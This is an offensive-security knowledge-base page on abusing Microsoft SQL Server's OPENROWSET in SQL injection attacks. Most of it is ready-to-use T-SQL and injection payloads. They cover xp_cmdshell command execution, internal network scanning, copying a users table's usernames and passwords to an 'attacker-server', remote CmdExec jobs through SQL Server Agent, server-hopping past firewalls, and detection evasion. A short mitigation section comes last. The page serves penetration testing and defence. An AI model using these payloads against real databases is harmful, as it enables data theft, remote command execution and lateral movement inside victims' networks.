OPENROWSET Attacks | MSSQL | SQL Injection KB

The OPENROWSET function in Microsoft SQL Server provides a way to access remote data from various data sources including other SQL Server instances, Excel files, and virtually any OLE DB provider. While intended for legitimate data integration, this functionality can be exploited in SQL injection attacks to access remote systems, exfiltrate data, or bypass security controls.

OPENROWSET Basics

OPENROWSET allows ad-hoc connections to remote data sources:

SELECT * FROM OPENROWSET(
   'provider_name',
   'connection_string',
   'query or table'
)

Common providers:

MSOLEDBSQL (Microsoft OLE DB Driver for SQL Server — the current, recommended provider; first released in 2018 and included with SQL Server 2019+; not registered on SQL Server 2017 for Linux)
SQLNCLI / SQLNCLI11 (SQL Server Native Client — deprecated; SNAC 11, from SQL Server 2012, was the last version and shipped with SQL Server 2012 through 2019, but not with 2022)
SQLOLEDB (legacy MDAC OLE DB provider — deprecated, unmaintained, retained on Windows for backward compatibility)
Microsoft.ACE.OLEDB.12.0 (Access, Excel — requires the Access Database Engine redistributable installed on the server)
MSDASQL (OLE DB-over-ODBC bridge)

The four SQL Server provider names (MSOLEDBSQL, SQLNCLI, SQLNCLI11, SQLOLEDB) all connect to SQL Server. On SQL Server 2019 and 2022 for Linux all four resolve; on 2017 for Linux MSOLEDBSQL is not registered (Msg 7403), and on Windows each is a separately installed provider. The non-SQL-Server providers (Microsoft.ACE.OLEDB.12.0, MSDASQL) are Windows-only and must be installed separately; on SQL Server for Linux they fail with "Only a SQL Server provider is allowed on this instance." Examples below use MSOLEDBSQL.

Prerequisites for Exploitation

OPENROWSET attacks typically require:

Ad hoc distributed queries must be enabled:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'ad hoc distributed queries', 1;
RECONFIGURE;

Nothing more on the local server: once ad hoc queries are enabled, any authenticated login can use the provider, and the remote side grants whatever the supplied credentials allow
Appropriate network connectivity from the SQL Server to target systems

Attack Techniques

Remote SQL Server Access

Connect to another SQL Server to access or exfiltrate data:

-- Basic connection to another SQL Server
SELECT * FROM OPENROWSET(
    'MSOLEDBSQL',
    'Server=remote-server;Trusted_Connection=yes;',
    'SELECT @@version'
)

-- Using SQL authentication
SELECT * FROM OPENROWSET(
    'MSOLEDBSQL',
    'Server=remote-server;uid=sa;pwd=password;',
    'SELECT * FROM master.sys.server_principals'
)

Legacy Provider Note: SQLOLEDB has been deprecated since SQL Server 2012 and receives no security updates or bug fixes. It remains available on Windows for backward compatibility but is unmaintained. On all versions, use MSOLEDBSQL (Microsoft OLE DB Driver) or modern ODBC drivers instead.

-- SQLOLEDB example (legacy/educational — no vendor support on current SQL Server versions)
SELECT * FROM OPENROWSET(
    'SQLOLEDB',
    'Server=127.0.0.1;uid=sa;pwd=p4ssw0rd;',
    'SET FMTONLY OFF execute master..xp_cmdshell "dir"'
);

-- Recommended: use MSOLEDBSQL (included with SQL Server 2019+)
SELECT * FROM OPENROWSET(
    'MSOLEDBSQL',
    'Server=127.0.0.1;uid=sa;pwd=p4ssw0rd;',
    'SET FMTONLY OFF execute master..xp_cmdshell "dir"'
);

The SET FMTONLY OFF trick forced older SQL Server versions to execute the batch while probing it for result-set metadata. SET FMTONLY has been deprecated since SQL Server 2012, and on current versions the trick is unreliable (observed on 2022): metadata discovery cannot be performed for a batch that invokes an extended stored procedure, so the call fails with "The metadata could not be determined because statement '...' invokes an extended stored procedure" before xp_cmdshell runs. It also requires xp_cmdshell to be enabled on the target and so does not work against SQL Server for Linux.

File System Access

Read files using OPENROWSET with the ACE (Excel/Access/Text) provider. This requires the Access Database Engine redistributable to be installed on the server and is Windows-only — on SQL Server for Linux these calls fail with "Only a SQL Server provider is allowed on this instance." To read arbitrary files without an extra provider, use OPENROWSET(BULK ...) instead (see Reading Files).

-- Reading an Excel file
SELECT * FROM OPENROWSET(
    'Microsoft.ACE.OLEDB.12.0',
    'Excel 12.0;Database=C:\Data\file.xlsx;',
    'SELECT * FROM [Sheet1$]'
)

-- Reading a CSV file
SELECT * FROM OPENROWSET(
    'Microsoft.ACE.OLEDB.12.0',
    'Text;Database=C:\Data\;HDR=Yes;FORMAT=Delimited',
    'SELECT * FROM [file.csv]'
)

Network Scanning

OPENROWSET can be used for internal network scanning:

-- Testing if a server exists and accepts SQL connections
BEGIN TRY
    SELECT 1 FROM OPENROWSET('MSOLEDBSQL', 'Server=192.168.1.10;uid=sa;pwd=test;', 'SELECT 1')
    SELECT 'Server is reachable'
END TRY
BEGIN CATCH
    SELECT 'Server is not reachable or credentials failed'
END CATCH

Data Exfiltration to Remote Servers

-- Exfiltrate data to another SQL Server
INSERT INTO OPENROWSET(
    'MSOLEDBSQL',
    'Server=attacker-server;uid=sa;pwd=password;',
    'AttackerDB.dbo.StolenData'
)
SELECT username, password, email FROM users

Command Execution via SQL Server Agent

This technique combines OPENROWSET with SQL Server Agent on a remote Windows server to execute commands. EXEC OPENROWSET(...) is not valid syntax, and the provider, connection string and query arguments must be string literals (they cannot be concatenated from variables). Instead, call the procedures through the SELECT ... FROM OPENROWSET(...) form. Because sp_add_job/sp_add_jobstep/sp_start_job return no result set, append a SELECT so OPENROWSET can determine metadata:

-- Create and start a CmdExec job on a remote server (SQL Server Agent must be running there)
SELECT * FROM OPENROWSET('MSOLEDBSQL', 'Server=remote-server;uid=sa;pwd=password;',
'EXEC msdb.dbo.sp_add_job @job_name=''remote_cmd'', @enabled=1; SELECT 1 AS done');

SELECT * FROM OPENROWSET('MSOLEDBSQL', 'Server=remote-server;uid=sa;pwd=password;',
'EXEC msdb.dbo.sp_add_jobstep @job_name=''remote_cmd'', @step_name=''exec_cmd'',
    @subsystem=''CmdExec'', @command=''cmd.exe /c dir > C:\temp\output.txt'',
    @on_success_action=1; SELECT 1 AS done');

SELECT * FROM OPENROWSET('MSOLEDBSQL', 'Server=remote-server;uid=sa;pwd=password;',
'EXEC msdb.dbo.sp_add_jobserver @job_name=''remote_cmd'';
    EXEC msdb.dbo.sp_start_job @job_name=''remote_cmd''; SELECT 1 AS done');

When the server and credentials need to come from variables, build the whole statement as a string and run it with EXEC(@sql) (see Dynamic Construction below), since the literal-argument rule applies to OPENROWSET itself.

Practical SQL Injection Examples

Basic OPENROWSET Injection

-- String context, 1-column query (the remote query must return the same column count)
' UNION SELECT * FROM OPENROWSET('MSOLEDBSQL', 'Server=attacker-server;uid=sa;pwd=password;', 'SELECT @@version')--

Nested OPENROWSET Attacks

-- Chain multiple OPENROWSET calls (string context; sensitive_table must match the host query column count)
' UNION SELECT * FROM OPENROWSET('MSOLEDBSQL',
    'Server=server1;uid=sa;pwd=password;',
    'SELECT * FROM OPENROWSET(''MSOLEDBSQL'',
        ''Server=server2;uid=sa;pwd=password;'',
        ''SELECT * FROM sensitive_table'')')--

Bypassing Network Restrictions

When direct connections are blocked by firewalls, OPENROWSET can be used to "hop" through servers:

-- Using an intermediary server to reach a blocked target (string context; column counts must match)
' UNION SELECT * FROM OPENROWSET('MSOLEDBSQL',
    'Server=allowed-server;uid=sa;pwd=password;',
    'SELECT * FROM OPENROWSET(''MSOLEDBSQL'',
        ''Server=blocked-server;uid=sa;pwd=password;'',
        ''SELECT * FROM sensitive_data'')')--

Defense Evasion Techniques

Dynamic Construction to Avoid Detection

-- Using variables to avoid string detection
DECLARE @provider nvarchar(100) = 'MSOLEDBSQL'
DECLARE @conn nvarchar(200) = 'Server=target;uid=sa;pwd=password;'
DECLARE @query nvarchar(100) = 'SELECT * FROM users'
EXEC('SELECT * FROM OPENROWSET(''' + @provider + ''', ''' + @conn + ''', ''' + @query + ''')')

Using Alternative Providers

-- Using the OLE DB-over-ODBC bridge with an ODBC driver (Windows only)
SELECT * FROM OPENROWSET('MSDASQL',
    'Driver={ODBC Driver 17 for SQL Server};Server=target;uid=sa;pwd=password;',
    'SELECT @@version')

MSDASQL is Windows-only and relies on an installed ODBC driver (the old {SQL Server} driver may be absent on modern systems; {ODBC Driver 17/18 for SQL Server} is current). It is unavailable on SQL Server for Linux.

Mitigations and Countermeasures

To prevent OPENROWSET attacks:

Disable ad hoc distributed queries if not needed:

EXEC sp_configure 'ad hoc distributed queries', 0;
RECONFIGURE;

Limit permissions on SQL Server providers:

DENY EXECUTE ON sys.sp_addlinkedserver TO PUBLIC
DENY EXECUTE ON sys.sp_addlinkedsrvlogin TO PUBLIC

Implement network segmentation to prevent SQL Server from connecting to unauthorized systems
Use parameterized queries and input validation in applications

Regularly audit and monitor for OPENROWSET usage:

SELECT OBJECT_NAME(s.objectid) as ProcedureName,
    s.text
FROM sys.dm_exec_cached_plans p
CROSS APPLY sys.dm_exec_sql_text(p.plan_handle) s
WHERE s.text LIKE '%OPENROWSET%'

Limitations and Considerations

OPENROWSET requires specific server configurations and high privileges
Some providers may not be installed or available on all SQL Server instances
Network latency and connectivity can affect successful exploitation
The attack surface has been reduced in newer SQL Server versions through better defaults
Writing to remote systems usually requires additional permissions